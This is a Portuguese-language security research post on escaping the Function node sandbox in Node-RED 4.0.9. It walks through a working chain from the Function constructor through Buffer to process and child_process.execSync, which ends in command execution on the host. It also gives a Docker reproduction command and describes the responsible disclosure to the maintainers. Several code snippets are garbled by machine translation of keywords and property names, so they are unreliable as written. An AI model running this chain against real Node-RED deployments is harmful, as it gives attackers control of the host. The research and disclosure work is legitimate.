[PT-BR] Flow to Shell: Achieving RCE in Node-RED Through Misconfiguration

Escrito por  Lucas William

Com a ampla adoção de plataformas de automação de fluxos em ambientes corporativos, essas soluções passaram a desempenhar um papel crítico na integração de sistemas e no processamento de dados sensíveis. Diante desse cenário, a segurança dos mecanismos responsáveis pela execução de código customizado torna-se um fator essencial para a prática segura da automação.

Este estudo apresenta uma análise de segurança do Node-RED, com foco na avaliação do mecanismo de isolamento utilizado para a execução de código JavaScript no Function Node. A pesquisa considera o uso da plataforma em ambientes que lidam com dados sensíveis e sistemas críticos, nos quais falhas de isolamento podem resultar em impactos significativos de segurança.

A análise foi conduzida na versão 4.0.9 do Node-RED e se concentrou na robustez da sandbox implementada sobre o tempo de execução Node.js. Node-RED usa uma implementação customizada baseada no módulo vm nativo do Node.js como mecanismo de contenção para execução de código em nós de função. Por meio da aplicação de técnicas de sandbox escaping e da exploração de construtores e objetos internos do Node.js, foi possível demonstrar a quebra do isolamento do ambiente de execução.

Os resultados obtidos na pesquisa validam a possibilidade de Execução Remota de Código (RCE) no sistema host, evidenciando riscos relevantes à integridade da plataforma e reforçando a necessidade de uma avaliação crítica dos mecanismos de segurança empregados.

O que é o Node-Red

Segundo o site oficial da Node-RED, “Node-RED é uma plataforma de desenvolvimento baseada em fluxos, projetada para simplificar a integração entre sistemas, APIs, serviços e dispositivos por meio de uma interface visual. Originalmente criado pela IBM e atualmente mantido pela OpenJS Foundation, o Node-RED é amplamente utilizado em automação, Internet das Coisas (IoT), integração de serviços e cenários de orquestração de dados.”

A plataforma é construída sobre o runtime Node.js e adota um modelo orientado a eventos, no qual os dados fluem entre componentes chamados de nodes. Cada node representa uma funcionalidade específica, como entrada de dados, transformação de payloads, execução de lógica customizada ou comunicação com serviços externos, permitindo a construção de fluxos complexos de forma modular e visual.


Arquitetura e funcionamento

O funcionamento do Node-RED é baseado em fluxos (flows), que são cadeias de nós (nodes) interconectados. Esses fluxos são definidos visualmente por meio de um editor web, no qual o usuário pode arrastar, configurar e conectar nodes de forma intuitiva.

De forma geral, um fluxo é composto por três tipos principais de nodes:

  • Nodes de entrada: responsáveis por iniciar o fluxo, geralmente acionados por eventos externos, como requisições HTTP, mensagens MQTT, webhooks ou eventos agendados.
  • Nodes de processamento: realizam operações sobre os dados em trânsito, como validação, transformação, filtragem ou execução de lógica customizada em JavaScript.
  • Nodes de saída: enviam os dados processados para destinos externos, como APIs, bancos de dados, filas de mensagens ou sistemas internos.

Os dados trafegam entre os nodes por meio de um objeto chamado msg, que funciona como uma estrutura de mensagem compartilhada ao longo do fluxo. Esse objeto pode conter payloads, metadados e variáveis de contexto utilizadas durante a execução.

Ambiente de teste

O ambiente de testes foi criado a partir do repositório oficial do Node-RED , com o levantamento das bibliotecas, dependências e tecnologias utilizadas pela plataforma. Essa análise permitiu entender a arquitetura da aplicação e os mecanismos adotados para a execução de código JavaScript customizado.

Durante os testes de segurança, foram identificados paralelos arquitetônicos entre o Node-RED e a plataforma n8n. Ambas permitem a execução de código JavaScript customizado dentro de fluxos e utilizam mecanismos de sandbox sobre o runtime Node.js — o Node-RED por meio de uma implementação customizada baseada no módulo nativo vm, e o n8n utilizando a biblioteca vm2.

Apesar das diferenças de propósito, as duas abordagens apresentam limitações estruturais de isolamento. Sandboxes implementadas em nível de runtime JavaScript podem ser suscetíveis a técnicas de sandbox escaping baseadas na manipulação de construtores, protótipos e objetos internos do Node.js.

Exploração

Após realizar o deploy do Node-RED no ambiente de testes, concentramos a análise no node de execução de código, com o objetivo de verificar se o ambiente estava devidamente isolado. Como ponto de partida, foi criado um node de inject, responsável por iniciar a execução do fluxo. Em seguida, ele foi conectado a um node de function, no qual a lógica JavaScript é executada dentro da sandbox. Por fim, adicionamos um node de debug para inspecionar o resultado final da execução e observar o comportamento do fluxo.

Inicialmente, foi criada uma expressão simples com o objetivo de validar o funcionamento básico do node de função e observar o comportamento da aplicação durante a execução do fluxo. O código utilizado foi o seguinte:

msg.payload = 2 + 2; retorna msg;

Esse teste confirmou que o fluxo estava sendo executado corretamente, permitindo a manipulação do objeto msg e o envio do resultado para os próximos nodes do fluxo.

Então, utilizando o constructor, conseguimos realizar a mesma operação de somatória. O Node.js permite o acesso a construtores de funções. Em seguida, exploramos o uso do construtor de funções para reproduzir a mesma operação de somatória. No Node.js, é possível acessar construtores de funções dinamicamente, o que pode introduzir riscos quando não devidamente controlado em ambientes isolados.

Para testar esse recurso, usamos a seguinte expressão no nó de função:

msg.payload = node.constructor.constructor('return 1 + 1')(); return msg;

Esse teste demonstrou que, mesmo dentro do contexto do node de função, ainda é possível instanciar funções dinamicamente, o que levanta questionamentos importantes sobre o nível de restrição efetivamente aplicado pela sandbox.

Então foram realizados testes mais agressivos com intuito de identificar informações internas.

Em sequência, intensificamos os testes com o intuito de identificar informações internas expostas pelo ambiente de execução. Utilizando novamente o acesso ao construtor de funções, foi possível obter uma referência ao contexto global da sandbox.

O código usado no nó de função foi o seguinte:

const ctx = node.constructor.constructor('return this')();
msg.payload =Object.keys(ctx).slice(0,20);
retornar mensagem;

node.constructor.constructor(…) usa o construtor de funções do JavaScript para criar e executar dinamicamente uma nova função, contornando abstrações normais do ambiente.

A expressão ‘return this‘ retorna o objeto de contexto global disponível dentro da sandbox do node de função.

O resultado é armazenado em ctx, que passa a representar tudo o que está acessível no escopo global daquele ambiente de execução.

Object.keys(ctx).slice(0, 20) enumera as primeiras 20 propriedades desse contexto, permitindo identificar objetos e APIs expostas internamente.

Por fim, o resultado é atribuído a msg.payload e retornado para que possa ser visualizado nos próximos nodes do fluxo.

Como resultado, foi possível enumerar diversos objetos disponíveis no contexto de execução:

msg.payload: array[19]
[
  "console",
  "util",
  "Buffer",
  "Data",
  "VERMELHO",
  "__nó__",
  "contexto",
  "fluxo",
  "global",
  "env",
  "setTimeout",
  "clearTimeout",
  "setInterval",
  "clearInterval",
  "prometer",
  "msg",
  "__enviar__",
  "__feito__",
  "resultados"
]

A exposição desses objetos evidencia o nível de acesso disponível dentro da sandbox, incluindo referências internas do Node-RED e mecanismos de controle do fluxo de execução, o que representa um ponto relevante na avaliação do isolamento e da superfície de ataque do ambiente.

Como o objetivo é explorar alguma falha, também realizamos o mapeamento de acesso direto ao processo que está bloqueado.

Como o objetivo era identificar possíveis falhas de isolamento, também testamos o acesso direto ao object process , que representa o processo principal do Node.js e, quando exposto, pode permitir interações sensíveis com o sistema operacional.

Para isso, usamos o seguinte código no nó de função:

const proc = node.constructor.constructor('return process')();
msg.payload = proc;
retornar mensagem;

Durante a execução, o ambiente retornou o seguinte erro:

ReferenceError: process is not defined

Esse comportamento indica que o objeto process não está exposto no contexto global da sandbox, demonstrando que o acesso direto ao processo do Node.js encontra-se bloqueado.

Para tornar a análise mais eficiente, iniciamos o mapeamento das propriedades disponíveis no ambiente após obter acesso ao objeto process. Para isso, utilizamos o seguinte código no node de função:

const ctx = node.constructor
    .constructor('retorne isto')();

const proc = ctx.Buffer
    .construtor
    .constructor('return process')();

msg.payload = {
    has_mainModule: typeof proc.mainModule,
    has_binding: typeof proc.binding,
    plataforma: proc.plataforma,
    arquitetura: proc.arch
};

retornar mensagem;

A primeira linha obtém uma referência ao contexto global da sandbox utilizando o construtor de funções, permitindo acessar objetos expostos internamente.

Em seguida, o código utiliza ctx.Buffer.constructor.constructor para alcançar novamente o construtor de funções, desta vez explorando um objeto legítimo disponível no contexto (Buffer) como ponto de pivô.

A expressão ‘return process‘ retorna o objeto process do Node.js, indicando que, apesar de não estar diretamente exposto, ele pode ser acessado de forma indireta.

O objeto msg.payload é preenchido com informações específicas do processo, usadas para avaliar o nível de acesso obtido:

  • proc.mainModule indica acesso ao módulo principal da aplicação.
  • proc.binding permite interação com bindings internos do Node.js, o que pode abrir caminho para operações de baixo nível.
  • proc.platform e proc.arch revelam informações do ambiente de execução, como sistema operacional e arquitetura.
  • Por fim, o resultado é retornado para visualização no fluxo.

Nesse trecho, o contexto global da sandbox é recuperado inicialmente, permitindo o uso de objetos expostos internamente. Em seguida, o objeto Buffer é utilizado como ponto de acesso para alcançar novamente o construtor de funções e obter uma referência ao objeto process do Node.js de forma indireta.

O payload retornado confirmou a disponibilidade de componentes sensíveis do runtime:

msg.payload: Object { has_mainModule: "object", has_binding: "function", platform: "linux", arch: "x64" }

Esses resultados indicam acesso ao módulo principal da aplicação, a bindings internos do Node.js e a informações do ambiente de execução, como sistema operacional e arquitetura.

Escapando do Sandbox do Node-RED: RCE no Function Node

Após diversos testes, foi possível explorar uma vulnerabilidade crítica na Function node do Node-RED que permite executar código arbitrário no sistema host.

Explorar:

const ctx = node.constructor.constructor('return this')();
const proc = ctx.Buffer.constructor.constructor('return process')();
const child_process = proc.mainModule.require('child_process');
const result = child_process.execSync('whoami').toString();

msg.payload = {
    status: "RCE bem-sucedido",
    saída: result.trim(),
    plataforma: proc.plataforma,
    arquitetura: proc.arch
};
retornar mensagem;

Explicando o exploit detalhado:

const ctx = node.constructor.constructor(‘return this’)();

  • node.constructor.constructor acessa o construtor da classe Function
  • ‘return this’ cria uma função que retorna o contexto de execução
  • Resultado: acesso ao contexto interno do sandbox com objetos como Buffer, console, etc

const proc = ctx.Buffer.constructor.constructor(‘return process’)();

  • ctx.Buffer.constructor.constructor cria uma Function fora do sandbox
  • ‘return process’ retorna o objeto process do Node.js (normalmente bloqueado)

const child_process = proc.mainModule.require(‘child_process’);

  • proc.mainModule.require carrega módulos do Node.js
  • child_process é o módulo que executa comandos do sistema

const result = child_process.execSync(‘whoami’).toString();

  • execSync() executa comandos shell de forma síncrona
  • ‘whoami‘ mostra o usuário atual (pode ser qualquer comando)
  • Retorna o output do comando

msg.payload = { status: “RCE bem-sucedido”, output: result.trim(), platform: proc.platform, arch: proc.arch }; return msg;

  • Monta um objeto com os resultados
  • result.trim() remove espaços em branco do output
  • Adiciona informações do sistema (SO, arquitetura)

Os testes foram realizados na versão mais recente do Node-RED disponível no momento da análise, Node-RED 4.0.9 , usando a imagem oficial do Docker nodered/node-red:4.0.9 , com Node.js v20.19.0 .

docker run -d -p 1880:1880 --name nodered-test nodered/node-red:4.0.9

Nesse ambiente, foi possível constatar a existência de uma vulnerabilidade que permite a execução remota de código (RCE) a partir do node de função, evidenciando uma falha crítica no isolamento da sandbox e no modelo de segurança adotado pela plataforma nessa versão.

Divulgação responsável

Após a identificação do problema, realizamos o reporte responsável para a Node-Red. Os mantedores reconheceram o problema e confirmaram o risco, explicando que já havia uma discursão na comunidade sobre esta fragilidade. De acordo com a resposta deles, a principal mitigação atual consiste em restringir as permissões de implantação e impedir que usuários não confiáveis ​​executem ou criem nós de código.

Além disso, eles indicaram que melhorias na configuração de segurança padrão estão sendo consideradas para versões futuras, como demonstrado na imagem abaixo.

Conclusão

A pesquisa demonstrou que o mecanismo de isolamento do Function node no Node-RED (v4.0.9) apresenta vulnerabilidades críticas, permitindo Execução Remota de Código (RCE) no sistema hospedeiro. A exploração foi viabilizada pelas limitações do módulo vm nativo do Node.js, que possibilitaram técnicas de sandbox escaping e acesso a módulos críticos como o child_process. Essa vulnerabilidade permite que código arbitrário seja executado fora do escopo esperado do Function node, comprometendo diretamente o sistema hospedeiro. Embora o Node-RED não tenha sido projetado para executar código não confiável, a presença desse vetor amplia significativamente a superfície de ataque em cenários onde o acesso ao editor é exposto ou mal controlado.

Em ambientes sensíveis, a mitigação depende da adoção de controles de isolamento no nível da infraestrutura, restrição rigorosa de privilégios e visibilidade contínua sobre execuções dentro dos Function nodes.

 

Logo da Hakai.